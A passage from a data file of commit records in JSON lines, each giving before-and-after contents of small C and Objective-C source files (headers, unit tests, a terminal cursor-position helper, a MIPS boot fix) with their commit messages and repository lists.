error.\n\nassert is used so that if rtems_task_variable_add fails, the error\nis fatal.\n\nR=iant\nCC=gofrontend-dev, joel.sherrill\nhttps:\/\/golang.org\/cl\/1684053\n","lang":"C","license":"bsd-3-clause","repos":"qskycolor\/gofrontend,golang\/gofrontend,golang\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,golang\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,anlhord\/gofrontend"}
{"commit":"620f4455db93c0c049eb7854004bc9a761ada889","old_file":"CommandReturn.h","new_file":"CommandReturn.h","old_contents":"","new_contents":"\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2011 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n#pragma once\n\n#ifndef TUVOK_COMMAND_H\n#define TUVOK_COMMAND_H\n\nnamespace tuvok {\n\n\/\/\/ Return value for an executed Command.\nclass CommandReturn {\n  public:\n    virtual ~CommandReturn() {}\n};\n\n}\n\n#endif \/* TUVOK_COMMAND_H *\/\n","subject":"Add empty shell for return value of a command.","message":"Add empty shell for return value of a command.\n\ngit-svn-id: 0a20d38d1bcdb3210d244a647211d61b0aabf366@152 5b8196f7-c1c0-4be6-8b13-4feed349168d\n","lang":"C","license":"mit","repos":"BlueBrain\/Tuvok,BlueBrain\/Tuvok,BlueBrain\/Tuvok"}
{"commit":"d544c99984735652807614ab04157e180eadfbe6","old_file":"utility\/filter.h","new_file":"utility\/filter.h","old_contents":"#ifndef _FILTER_H\r\n#define _FILTER_H\r\n\r\n#include <math.h>\r\n\r\n#if (ARDUINO >= 100)\r\n #include \"Arduino.h\"\r\n#else\r\n #include \"WProgram.h\"\r\n#endif\r\n\r\n#include \"quaternion.h\"\r\n\r\n#define RAD_TO_DEG  (180.0 \/ PI)\r\n\r\nclass Filter {\r\npublic:\r\n  Filter(void);\r\n  \r\n  void setAccelXYZ(const float x, const float y, const float z);\r\n  void setCompassXYZ(const float x, const float y, const float z);\r\n  void setGyroXYZ(const float x, const float y, const float z);\r\n  \r\n  virtual void process(void) = 0;\r\n  \r\nprotected:\r\n  float _accelData[3];\r\n  float _compassData[3];\r\n  float _gyroData[3];\r\n};\r\n\r\n#endif\r\n","new_contents":"#ifndef _FILTER_H\r\n#define _FILTER_H\r\n\r\n#include <math.h>\r\n\r\n#if !defined(_FUSION_TEST)\r\n  #if (ARDUINO >= 100)\r\n    #include \"Arduino.h\"\r\n  #else\r\n    #include \"WProgram.h\"\r\n  #endif\r\n#else\r\n  #define PI  (M_PI)\r\n#endif\r\n\r\n#include \"quaternion.h\"\r\n\r\n#define RAD_TO_DEG  (180.0F \/ PI)\r\n\r\nclass Filter {\r\npublic:\r\n  Filter(void);\r\n  \r\n  void setAccelXYZ(const float x, const float y, const float z);\r\n  void setCompassXYZ(const float x, const float y, const float z);\r\n  void setGyroXYZ(const float x, const float y, const float z);\r\n  \r\n  virtual void process(void) = 0;\r\n  \r\nprotected:\r\n  float _accelData[3];\r\n  float _compassData[3];\r\n  float _gyroData[3];\r\n};\r\n\r\n#endif\r\n","subject":"Allow for native unit testing","message":"Allow for native unit testing\n","lang":"C","license":"mit","repos":"JCube001\/Fusion,JCube001\/Fusion"}
{"commit":"3e33a238f6952281cd48308d2b4ad78d2429ab7f","old_file":"src\/common\/types.h","new_file":"src\/common\/types.h","old_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\ntypedef signed char      int8_t;\ntypedef unsigned char    uint8_t;\ntypedef signed short     int16_t;\ntypedef unsigned short   uint16_t;\ntypedef signed long      int32_t;\ntypedef unsigned long    uint32_t;\ntypedef signed long long int64_t;\ntypedef unsigned long    uint64_t;\ntypedef float            float32_t;\ntypedef double           float64_t;\ntypedef int              bool_t;\ntypedef unsigned int     size_t;\ntypedef int32_t          error_t;\ntypedef void*            handle_t;\n\n#define TRUE  (1)\n#define FALSE (0)\n#define OK    (0)\n#define NG    (-1)\n#define NULL  (void*)(0)\n\n#define PACK(a, b, c, d) (uint32_t)(((a)<<24) | ((b)<<16) | ((c)<<8) | (d))\n#define NULL_SIGNATURE 0x00000000\n\n#endif \/* __TYPES_H__ *\/\n","new_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\n#include <stddef.h>\n\ntypedef signed char      int8_t;\ntypedef unsigned char    uint8_t;\ntypedef signed short     int16_t;\ntypedef unsigned short   uint16_t;\ntypedef signed long      int32_t;\ntypedef unsigned long    uint32_t;\ntypedef signed long long int64_t;\ntypedef unsigned long    uint64_t;\ntypedef float            float32_t;\ntypedef double           float64_t;\ntypedef int              bool_t;\ntypedef int32_t          error_t;\ntypedef void*            handle_t;\n\n#define TRUE  (1)\n#define FALSE (0)\n#define OK    (0)\n#define NG    (-1)\n\n#define PACK(a, b, c, d) (uint32_t)(((a)<<24) | ((b)<<16) | ((c)<<8) | (d))\n#define NULL_SIGNATURE 0x00000000\n\n#endif \/* __TYPES_H__ *\/\n","subject":"Include <stddef.h> for size_t and NULL definitions","message":"Include <stddef.h> for size_t and NULL definitions\n","lang":"C","license":"mit","repos":"ryochack\/emkit,ryochack\/emkit"}
{"commit":"05a325ddbe1257fe357238096b615ec0f34f0be7","old_file":"solutions\/uri\/1003\/1003.c","new_file":"solutions\/uri\/1003\/1003.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    int a, b;\n\n    scanf(\"%d\", &a);\n    scanf(\"%d\", &b);\n\n    printf(\"SOMA = %d\\n\", a + b);\n\n    return 0;\n}\n","subject":"Solve Simple Sum in c","message":"Solve Simple Sum in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"45f70c28cd7f507416aa3753f451f9e84531cd4b","old_file":"test\/Driver\/masm.c","new_file":"test\/Driver\/masm.c","old_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang -target i386-unknown-linux -masm=intel %s -S -o - | FileCheck --check-prefix=CHECK-INTEL %s\n\/\/ RUN: %clang -target i386-unknown-linux -masm=att %s -S -o - | FileCheck --check-prefix=CHECK-ATT %s\n\/\/ RUN: not %clang -target i386-unknown-linux -masm=somerequired %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-SOMEREQUIRED %s\n\/\/ RUN: %clang -target arm-unknown-eabi -masm=intel %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-ARM %s\n\nint f() {\n\/\/ CHECK-ATT: movl\t$0, %eax\n\/\/ CHECK-INTEL: mov\teax, 0\n\/\/ CHECK-SOMEREQUIRED: error: unsupported argument 'somerequired' to option 'masm='\n\/\/ CHECK-ARM: warning: argument unused during compilation: '-masm=intel'\n  return 0;\n}\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang -target i386-unknown-linux -masm=intel %s -S -o - | FileCheck --check-prefix=CHECK-INTEL %s\n\/\/ RUN: %clang -target i386-unknown-linux -masm=att %s -S -o - | FileCheck --check-prefix=CHECK-ATT %s\n\/\/ RUN: not %clang -target i386-unknown-linux -masm=somerequired %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-SOMEREQUIRED %s\n\/\/ REQUIRES: arm-registered-target\n\/\/ RUN: %clang -target arm-unknown-eabi -masm=intel %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-ARM %s\n\nint f() {\n\/\/ CHECK-ATT: movl      $0, %eax\n\/\/ CHECK-INTEL: mov     eax, 0\n\/\/ CHECK-SOMEREQUIRED: error: unsupported argument 'somerequired' to option 'masm='\n\/\/ CHECK-ARM: warning: argument unused during compilation: '-masm=intel'\n  return 0;\n}\n","subject":"Add a requires for the arm-registered-target needed by this test as well.","message":"Add a requires for the arm-registered-target needed by this test as\nwell.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@208722 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"3542ea8ea886bd131aae83198be9bf45585c83fc","old_file":"s.getcur.c","new_file":"s.getcur.c","old_contents":"","new_contents":"\n\n\/* Use the ESC [6n escape sequence to query the horizontal cursor position\n * and return it. On error -1 is returned, on success the position of the\n * cursor is stored at *rows and *cols and 0 is returned. *\/\nint getCursorPosition(int ifd, int ofd, int *rows, int *cols) {\n    char buf[32];\n    unsigned int i = 0;\n\n    \/* Report cursor location *\/\n    if (write(ofd, \"\\x1b[6n\", 4) != 4) return -1;\n\n    \/* Read the response: ESC [ rows ; cols R *\/\n    while (i < sizeof(buf)-1) {\n        if (read(ifd,buf+i,1) != 1) break;\n        if (buf[i] == 'R') break;\n        i++;\n    }\n    buf[i] = '\\0';\n\n    \/* Parse it. *\/\n    if (buf[0] != ESC || buf[1] != '[') return -1;\n    if (sscanf(buf+2,\"%d;%d\",rows,cols) != 2) return -1;\n    return 0;\n}\n\n\/* Try to get the number of columns in the current terminal. If the ioctl()\n * call fails the function will try to query the terminal itself.\n * Returns 0 on success, -1 on error. *\/\nint getWindowSize(int ifd, int ofd, int *rows, int *cols) {\n    struct winsize ws;\n\n    if (ioctl(1, TIOCGWINSZ, &ws) == -1 || ws.ws_col == 0) {\n        \/* ioctl() failed. Try to query the terminal itself. *\/\n        int orig_row, orig_col, retval;\n\n        \/* Get the initial position so we can restore it later. *\/\n        retval = getCursorPosition(ifd,ofd,&orig_row,&orig_col);\n        if (retval == -1) goto failed;\n\n        \/* Go to right\/bottom margin and get position. *\/\n        if (write(ofd,\"\\x1b[999C\\x1b[999B\",12) != 12) goto failed;\n        retval = getCursorPosition(ifd,ofd,rows,cols);\n        if (retval == -1) goto failed;\n\n        \/* Restore position. *\/\n        char seq[32];\n        snprintf(seq,32,\"\\x1b[%d;%dH\",orig_row,orig_col);\n        if (write(ofd,seq,strlen(seq)) == -1) {\n            \/* Can't recover... *\/\n        }\n        return 0;\n    } else {\n        *cols = ws.ws_col;\n        *rows = ws.ws_row;\n        return 0;\n    }\n\nfailed:\n    return -1;\n}\n\n","subject":"Create extract documenting the idiom for reading the cursor position and for determining the screen size","message":"Create extract documenting the idiom for reading the cursor position\nand for determining the screen size\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"f4e0b21b7318d226591d9410ab3219efa140301e","old_file":"src\/ios\/ChromeSocketsTcp.h","new_file":"src\/ios\/ChromeSocketsTcp.h","old_contents":"\/\/ Copyright (c) 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#import <Foundation\/Foundation.h>\n#import <Cordova\/CDVPlugin.h>\n\n@class GCDAsyncSocket;\n\n@interface ChromeSocketsTcp : CDVPlugin\n\n- (NSUInteger)registerAcceptedSocket:(GCDAsyncSocket*)theSocket;\n\n@end","new_contents":"\/\/ Copyright (c) 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#import <Foundation\/Foundation.h>\n#import <Cordova\/CDVPlugin.h>\n\n@class GCDAsyncSocket;\n\n@interface ChromeSocketsTcp : CDVPlugin\n\n- (NSUInteger)registerAcceptedSocket:(GCDAsyncSocket*)theSocket;\n\n@end\n","subject":"Fix up missing newlines at eof","message":"Fix up missing newlines at eof\n","lang":"C","license":"bsd-3-clause","repos":"MobileChromeApps\/cordova-plugin-chrome-apps-sockets-tcp,iDay\/cordova-plugin-chrome-apps-sockets-tcp,MobileChromeApps\/cordova-plugin-chrome-apps-sockets-tcp,iDay\/cordova-plugin-chrome-apps-sockets-tcp"}
{"commit":"5d0d0204bec5055c968a73e6f0904c0ce69acd5e","old_file":"tests\/exsymtab\/43-three-contexts-inline-func-share.c","new_file":"tests\/exsymtab\/43-three-contexts-inline-func-share.c","old_contents":"","new_contents":"\/*\n * Define an inline function in one context, use in a different context.\n *\/\n\n\/* uncomment to enable diagnostic output *\/\n\/\/\t#define DIAG(...) diag(__VA_ARGS__)\n\n#include \"test_setup.h\"\n\nchar def_code[] =\n\"inline int fib(int n)\\n\"\n\"{\\n\"\n\"    if (n <= 2)\\n\"\n\"        return 1;\\n\"\n\"    else\\n\"\n\"        return fib(n-1) + fib(n-2);\\n\"\n\"}\\n\"\n;\n\nchar using_code[] =\n\"int fib_of_5() {\\n\"\n\"    return fib(5);\\n\"\n\"}\\n\"\n;\n\nint main(int argc, char **argv) {\n\n\t\/* ---- Compile the code string with the definition ---- *\/\n\t\n\tTCCState *s1 = tcc_new();\n\textended_symtab_p my_symtab;\n\tsetup_and_compile_s1(my_symtab, def_code);\n\tSETUP_SECOND_CALLBACK_DATA();\n\t\n\t\/* ---- Compile the second string ---- *\/\n\t\n\tTCCState *s2 = tcc_new();\n\tsetup_and_compile_second_state(s2, using_code);\n\trelocate_second_state(s2);\n\t\n\t\/* ---- Check the functionality ---- *\/\n\t\n\t\/* Retrieve fib_of_5 directly *\/\n\tint (*fib_of_5_ptr)() = tcc_get_symbol(s2, \"fib_of_5\");\n\tif (fib_of_5_ptr == NULL) return -1;\n\tpass(\"Found fib_of_5 function pointer\");\n\n\t\/* ---- Make sure the function invocation gives the right answer ---- *\/\n\t\n\tis_i(fib_of_5_ptr(), 5, \"Fibonaci function call works\");\n\t\n\t\/* ---- Cleanup ---- *\/\n\ttcc_delete_extended_symbol_table(my_symtab);\n\ttcc_delete(s1);\n\ttcc_delete(s2);\n\tpass(\"cleanup\");\n\t\n\tdone_testing();\n\t\n\treturn 0;\n}\n","subject":"Add exsymtab test for inline functions","message":"Add exsymtab test for inline functions\n","lang":"C","license":"lgpl-2.1","repos":"run4flat\/tinycc,run4flat\/tinycc,run4flat\/tinycc,run4flat\/tinycc,run4flat\/tinycc"}
{"commit":"3a5d6ce443bba75acaec05e8a5fe1ba5ad198efc","old_file":"SignificantSpices\/SignificantSpices.h","new_file":"SignificantSpices\/SignificantSpices.h","old_contents":"\/\/\n\/\/  SignificantSpices.h\n\/\/  SignificantSpices\n\/\/\n\/\/  Created by Jan Nash on 8\/7\/17.\n\/\/  Copyright © 2017 resmio. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for SignificantSpices.\nFOUNDATION_EXPORT double SignificantSpicesVersionNumber;\n\n\/\/! Project version string for SignificantSpices.\nFOUNDATION_EXPORT const unsigned char SignificantSpicesVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SignificantSpices\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  SignificantSpices.h\n\/\/  SignificantSpices\n\/\/\n\/\/  Created by Jan Nash on 8\/7\/17.\n\/\/  Copyright © 2017 resmio. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for SignificantSpices.\nFOUNDATION_EXPORT double SignificantSpicesVersionNumber;\n\n\/\/! Project version string for SignificantSpices.\nFOUNDATION_EXPORT const unsigned char SignificantSpicesVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SignificantSpices\/PublicHeader.h>\n\n\n","subject":"Replace UIKit import with Foundation import","message":"Replace UIKit import with Foundation import\n","lang":"C","license":"mit","repos":"resmio\/SignificantSpices,resmio\/SignificantSpices,resmio\/SignificantSpices,resmio\/SignificantSpices"}
{"commit":"8d25dad00bf02b638dba4c901661f8e9b4d6a476","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*\n *\tCopyright 2019 Andrey Terekhov, Victor Y. Fadeev\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#pragma comment(linker, \"\/STACK:268435456\")\n\n#include \"compiler.h\"\n#include \"workspace.h\"\n\n\nconst char *name = \"..\/tests\/executable\/floatsign.c\";\n\/\/ \"..\/tests\/mips\/0test.c\";\n\n\nint main(int argc, const char *argv[])\n{\n\t\/\/printf(\"\"); \/\/ Not working without using printf\n\n\tworkspace ws = ws_parse_args(argc, argv);\n\n\tif (argc < 2)\n\t{\n\t\tws_add_file(&ws, name);\n\t}\n\t\n\treturn compile_to_vm(&ws);\n}\n","new_contents":"\/*\n *\tCopyright 2019 Andrey Terekhov, Victor Y. Fadeev\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#ifdef _MSC_VER\n\t#pragma comment(linker, \"\/STACK:268435456\")\n#endif\n\n#include \"compiler.h\"\n#include \"workspace.h\"\n\n\nconst char *name = \"..\/tests\/executable\/floatsign.c\";\n\/\/ \"..\/tests\/mips\/0test.c\";\n\n\nint main(int argc, const char *argv[])\n{\n\t\/\/printf(\"\"); \/\/ Not working without using printf\n\n\tworkspace ws = ws_parse_args(argc, argv);\n\n\tif (argc < 2)\n\t{\n\t\tws_add_file(&ws, name);\n\t}\n\t\n\treturn compile_to_vm(&ws);\n}\n","subject":"Disable STACK resizing for non Visual C\\C++ compilers","message":"Disable STACK resizing for non Visual C\\C++ compilers\n","lang":"C","license":"apache-2.0","repos":"andrey-terekhov\/RuC,andrey-terekhov\/RuC,andrey-terekhov\/RuC"}
{"commit":"4dbebd9e51232cf237c712f624cf1cc76206213a","old_file":"tools\/regression\/pipe\/pipe-ino.c","new_file":"tools\/regression\/pipe\/pipe-ino.c","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2011 Giovanni Trematerra <giovanni.trematerra@gmail.com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\/\n\n\/*\n * $FreeBSD$\n * Test conformance to stat(2) SUSv4 description:\n *  \"For all other file types defined in this volume of POSIX.1-2008, the\n *  structure members st_mode, st_ino, st_dev, st_uid, st_gid, st_atim,\n *  st_ctim, and st_mtim shall have meaningful values ...\".\n * Check that st_dev and st_ino are meaningful.\n *\/\n\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <err.h>\n#include <stdio.h>\n#include <unistd.h>\n\nint\nmain(int argc, char **argv)\n{\n\tint pipefd[2];\n\tstruct stat st1, st2;\n\n\tif (pipe(pipefd) == -1)\n\t\terr(1, \"FAIL: pipe\");\n\n\tif (fstat(pipefd[0], &st1) == -1)\n\t\terr(1, \"FAIL: fstat st1\");\n\tif (fstat(pipefd[1], &st2) == -1)\n\t\terr(1, \"FAIL: fstat st2\");\n\tif (st1.st_dev != st2.st_dev || st1.st_dev == 0 || st2.st_dev == 0) {\n\t\terrx(1, \"FAIL: wrong dev number %d %d\",\n\t\t    st1.st_dev, st2.st_dev);\n\t}\n\tif (st1.st_ino == st2.st_ino)\n\t\terrx(1, \"FAIL: inode numbers are equal: %d\", st1.st_ino);\n\tclose(pipefd[0]);\n\tclose(pipefd[1]);\n\tprintf(\"PASS\\n\");\n\n\treturn (0);\n}\n","subject":"Add a simple test for pipe inode numbers reported by fstat(2).","message":"Add a simple test for pipe inode numbers reported by fstat(2).\n\nSubmitted by:\tgianni\nMFC after:\t1 week\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"2f7055c5932ecc02159be375ebda1eee64665d17","old_file":"arch\/mips\/mipssim\/sim_cmdline.c","new_file":"arch\/mips\/mipssim\/sim_cmdline.c","old_contents":"\/*\n * Copyright (C) 2005 MIPS Technologies, Inc.  All rights reserved.\n *\n *  This program is free software; you can distribute it and\/or modify it\n *  under the terms of the GNU General Public License (Version 2) as\n *  published by the Free Software Foundation.\n *\n *  This program is distributed in the hope it will be useful, but WITHOUT\n *  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n *  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n *  for more details.\n *\n *  You should have received a copy of the GNU General Public License along\n *  with this program; if not, write to the Free Software Foundation, Inc.,\n *  59 Temple Place - Suite 330, Boston MA 02111-1307, USA.\n *\n *\/\n#include <linux\/init.h>\n#include <linux\/string.h>\n#include <asm\/bootinfo.h>\n\nextern char arcs_cmdline[];\n\nchar * __init prom_getcmdline(void)\n{\n\treturn arcs_cmdline;\n}\n\nvoid  __init prom_init_cmdline(void)\n{\n\tchar *cp;\n\tcp = arcs_cmdline;\n\t\/* Get boot line from environment? *\/\n\t*cp = '\\0';\n}\n","new_contents":"\/*\n * Copyright (C) 2005 MIPS Technologies, Inc.  All rights reserved.\n *\n *  This program is free software; you can distribute it and\/or modify it\n *  under the terms of the GNU General Public License (Version 2) as\n *  published by the Free Software Foundation.\n *\n *  This program is distributed in the hope it will be useful, but WITHOUT\n *  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n *  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n *  for more details.\n *\n *  You should have received a copy of the GNU General Public License along\n *  with this program; if not, write to the Free Software Foundation, Inc.,\n *  59 Temple Place - Suite 330, Boston MA 02111-1307, USA.\n *\n *\/\n#include <linux\/init.h>\n#include <linux\/string.h>\n#include <asm\/bootinfo.h>\n\nextern char arcs_cmdline[];\n\nchar * __init prom_getcmdline(void)\n{\n\treturn arcs_cmdline;\n}\n\nvoid  __init prom_init_cmdline(void)\n{\n\t\/* XXX: Get boot line from environment? *\/\n}\n","subject":"Fix booting from NFS root","message":"[MIPS] MIPSsim: Fix booting from NFS root\n\nMIPSsim probably doesn't have any sort of environment, but writing\na zero in it kills even the compiled in command line. This prevents\nbooting via NFS root.\n\nSigned-Off-By: Thiemo Seufer <8e77f49f827b66c39fd886f99e6ef704c1fecc26@networkno.de>\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"fdfc0c5d2056f11021d1b5dcdce4e92728d323a4","old_file":"akonadi\/resources\/openchange\/lzfu.h","new_file":"akonadi\/resources\/openchange\/lzfu.h","old_contents":"#include <kdemacros.h>\n\nKDE_EXPORT QByteArray lzfuDecompress (const QByteArray &rtfcomp);\n","new_contents":"\/*\n     Copyright (C) Brad Hards <bradh@frogmouth.net> 2007\n\n     This program is free software; you can redistribute it and\/or modify\n     it under the terms of the GNU General Public License as published by\n     the Free Software Foundation; either version 2 of the License, or\n     (at your option) any later version.\n\n     You should have received a copy of the GNU General Public License\n     along with this program; if not, write to the Free Software Foundation,\n     Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n*\/\n\n#include <kdemacros.h>\n\nKDE_EXPORT QByteArray lzfuDecompress (const QByteArray &rtfcomp);\n","subject":"Add license, to help the GPLV3 zealots.","message":"Add license, to help the GPLV3 zealots.\n\nsvn path=\/trunk\/KDE\/kdepim\/; revision=748604\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"3679a62c59dde625a18416f15aadaa6845bc8cfd","old_file":"NSData+ImageMIMEDetection\/NSData+ImageMIMEDetection.h","new_file":"NSData+ImageMIMEDetection\/NSData+ImageMIMEDetection.h","old_contents":"\n@interface NSData (ImageMIMEDetection)\n\n@end\n","new_contents":"\n@interface NSData (ImageMIMEDetection)\n\n\/**\n Try to deduce the MIME type.\n\n @return string representation of detected MIME type. `nil` if not able to\n detect the MIME type.\n\n @see http:\/\/en.wikipedia.org\/wiki\/Internet_media_type\n *\/\n- (NSString *)tdt_MIMEType;\n\n@end\n","subject":"Add interface for the category","message":"Add interface for the category\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/NSData-TDTImageMIMEDetection"}
{"commit":"5210babef0ae86fb3d9dc5bc4991523e5da96117","old_file":"SmartDeviceLink\/SDLSoftButton.h","new_file":"SmartDeviceLink\/SDLSoftButton.h","old_contents":"\/\/  SDLSoftButton.h\n\/\/\n\n#import \"SDLRPCMessage.h\"\n\n#import \"SDLNotificationConstants.h\"\n#import \"SDLRequestHandler.h\"\n\n@class SDLImage;\n@class SDLSoftButtonType;\n@class SDLSystemAction;\n\n\n@interface SDLSoftButton : SDLRPCStruct <SDLRequestHandler> {\n}\n\n- (instancetype)init;\n- (instancetype)initWithHandler:(SDLRPCNotificationHandler)handler;\n- (instancetype)initWithDictionary:(NSMutableDictionary *)dict;\n\n- (instancetype)initWithType:(SDLSoftButtonType *)tyle text:(NSString *)text image:(SDLImage *)image highlighted:(BOOL)highlighted buttonId:(UInt16)buttonId systemAction:(SDLSystemAction *)systemAction handler:(SDLRPCNotificationHandler)handler;\n\n@property (copy, nonatomic) SDLRPCNotificationHandler handler;\n\n@property (strong) SDLSoftButtonType *type;\n@property (strong) NSString *text;\n@property (strong) SDLImage *image;\n@property (strong) NSNumber *isHighlighted;\n@property (strong) NSNumber *softButtonID;\n@property (strong) SDLSystemAction *systemAction;\n\n@end\n","new_contents":"\/\/  SDLSoftButton.h\n\/\/\n\n#import \"SDLRPCMessage.h\"\n\n#import \"SDLNotificationConstants.h\"\n#import \"SDLRequestHandler.h\"\n\n@class SDLImage;\n@class 